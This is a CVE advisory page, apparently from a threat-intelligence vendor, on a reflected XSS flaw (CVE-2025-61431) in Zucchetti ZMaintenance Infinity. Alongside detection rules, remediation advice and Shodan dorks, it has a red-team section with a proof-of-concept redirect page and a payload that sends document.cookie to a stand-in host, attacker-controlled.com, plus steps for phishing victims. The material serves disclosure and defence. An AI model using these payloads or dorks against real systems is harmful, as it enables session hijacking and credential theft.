☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zucchetti logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-61431

CVE-2025-61431 Cross-Site Scripting in Zucchetti
📅 PUBLISHED: 2025-11-04 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Italy License: Commercial
VULNERABLE: <= 4.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-61431 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in Zucchetti ZMaintenance Infinity and Infinity Zucchetti, affecting versions 4.1 and earlier. The flaw resides in the /jsp/gsfr_feditorHTML.jsp endpoint, where the pHtmlSource parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript. Successful exploitation requires user interaction (clicking a crafted link), but can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. A vendor fix was released on June 18, 2025.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise asset management web application. The risk is primarily to organizations using Zucchetti ZMaintenance Infinity internally or as a SaaS solution.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (e.g., cookies, session tokens).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify data (e.g., defacement).
  • Availability (A): None (N) – No impact on system availability.

Overall CVSS Score: 6.1 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking in an enterprise context elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Java-based ZMaintenance Infinity application. The endpoint /jsp/gsfr_feditorHTML.jsp processes the pHtmlSource parameter and reflects its content back to the user without proper encoding or validation.

Attack Flow:

  1. An attacker crafts a malicious URL: https://target-zucchetti-instance/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script>
  2. The attacker lures a victim (e.g., via phishing email) to click the link.
  3. The victim's browser sends the request to the vulnerable server.
  4. The server processes the request and returns an HTML page containing the unescaped payload.
  5. The victim's browser executes the injected JavaScript in the context of the application's origin.

Why it works: The pHtmlSource parameter is likely intended for dynamic content generation (e.g., a rich text editor). The application fails to apply context-aware output encoding (e.g., HTML entity encoding) before embedding the parameter value into the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java JSP snippet):

<%
String htmlSource = request.getParameter("pHtmlSource");
%>
<div id="editorContent">
    <%= htmlSource %> <!-- Direct reflection without encoding -->
</div>

Patched Code (Conceptual fix):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String htmlSource = request.getParameter("pHtmlSource");
String safeHtml = Encode.forHtml(htmlSource); // OWASP Encoder
%>
<div id="editorContent">
    <%= safeHtml %>
</div>

The patched version uses a robust output encoding library (e.g., OWASP Java Encoder) to escape HTML special characters (<, >, &, ", ') before rendering the user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Zucchetti ZMaintenance Infinity instance (v4.1 or earlier).
  • A web browser or tool like curl.

Proof-of-Concept (PoC) Exploit:

<!-- Save as poc.html and host on attacker-controlled server -->
<html>
<body>
<script>
var xssPayload = "<script>alert('XSS')</script>";
var targetUrl = "https://target-zucchetti-instance/jsp/gsfr_feditorHTML.jsp?pHtmlSource=" + encodeURIComponent(xssPayload);
window.location.href = targetUrl;
</script>
</body>
</html>

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = "https://attacker-controlled.com/steal?cookie=" + document.cookie;
</script>

Usage:

  1. Host the PoC HTML file on an attacker-controlled server.
  2. Send the link to the victim (e.g., via email).
  3. When the victim clicks, the XSS executes, and the cookie is exfiltrated.

Blue Team (Defensive)

Detection Steps:

  1. Web Application Firewall (WAF) Rules: Block requests to /jsp/gsfr_feditorHTML.jsp containing <script> or onerror= patterns.
  2. Log Monitoring: Look for anomalous pHtmlSource parameter values containing HTML/JavaScript.
  3. User Education: Train users to avoid clicking suspicious links, especially those containing query parameters.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/jsp/gsfr_feditorHTML.jsp" AND uri_query=*pHtmlSource*
| rex field=uri_query "pHtmlSource=(?<payload>.*)"
| where match(payload, "(?i)<script|<img|onerror|javascript:")
| table _time, clientip, uri_query, payload

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /jsp/gsfr_feditorHTML.jsp with a non-empty pHtmlSource parameter.
    • Outbound connections to attacker-controlled domains from the victim's browser (e.g., for cookie exfiltration).
  • File IOCs:
    • Temporary files created by the browser cache containing the malicious payload.
  • Behavioral IOCs:
    • Unexpected JavaScript execution in the context of the ZMaintenance application.
    • Unusual session activity (e.g., concurrent logins from different IPs).

Detection Engineering

YARA Rule

rule CVE_2025_61431_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Zucchetti ZMaintenance Infinity"
        author = "Valters IT"
        date = "2025-06-20"
        cve = "CVE-2025-61431"
    strings:
        $uri = "/jsp/gsfr_feditorHTML.jsp" nocase
        $param = "pHtmlSource=" nocase
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
    condition:
        $uri and $param and 1 of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against Zucchetti ZMaintenance Infinity
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025/06/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path: '/jsp/gsfr_feditorHTML.jsp'
        cs-uri-query|contains: 'pHtmlSource='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML editor with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61431 Zucchetti ZMaintenance Infinity Reflected XSS"; flow:to_server,established; content:"/jsp/gsfr_feditorHTML.jsp"; http_uri; content:"pHtmlSource="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply Vendor Patch: Update Zucchetti ZMaintenance Infinity to the latest version (post-4.1) as released on 2025-06-18.
  2. WAF Virtual Patching: Block requests to /jsp/gsfr_feditorHTML.jsp with suspicious pHtmlSource values.
  3. Input Validation: Implement server-side validation to reject payloads containing HTML/JavaScript.

Long-Term Measures:

  1. Secure Coding Training: Educate developers on OWASP XSS prevention (output encoding, CSP).
  2. Content Security Policy (CSP): Deploy a strict CSP header to mitigate impact of XSS even if injection occurs.
  3. Regular Security Audits: Conduct periodic penetration testing and code reviews.

Workaround (if patching is delayed):

  • Disable the /jsp/gsfr_feditorHTML.jsp endpoint via web server configuration (e.g., Apache mod_rewrite or Nginx location block) if not critical for business operations.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ZMaintenance"
http.html:"Zucchetti" "Infinity"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-61431/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.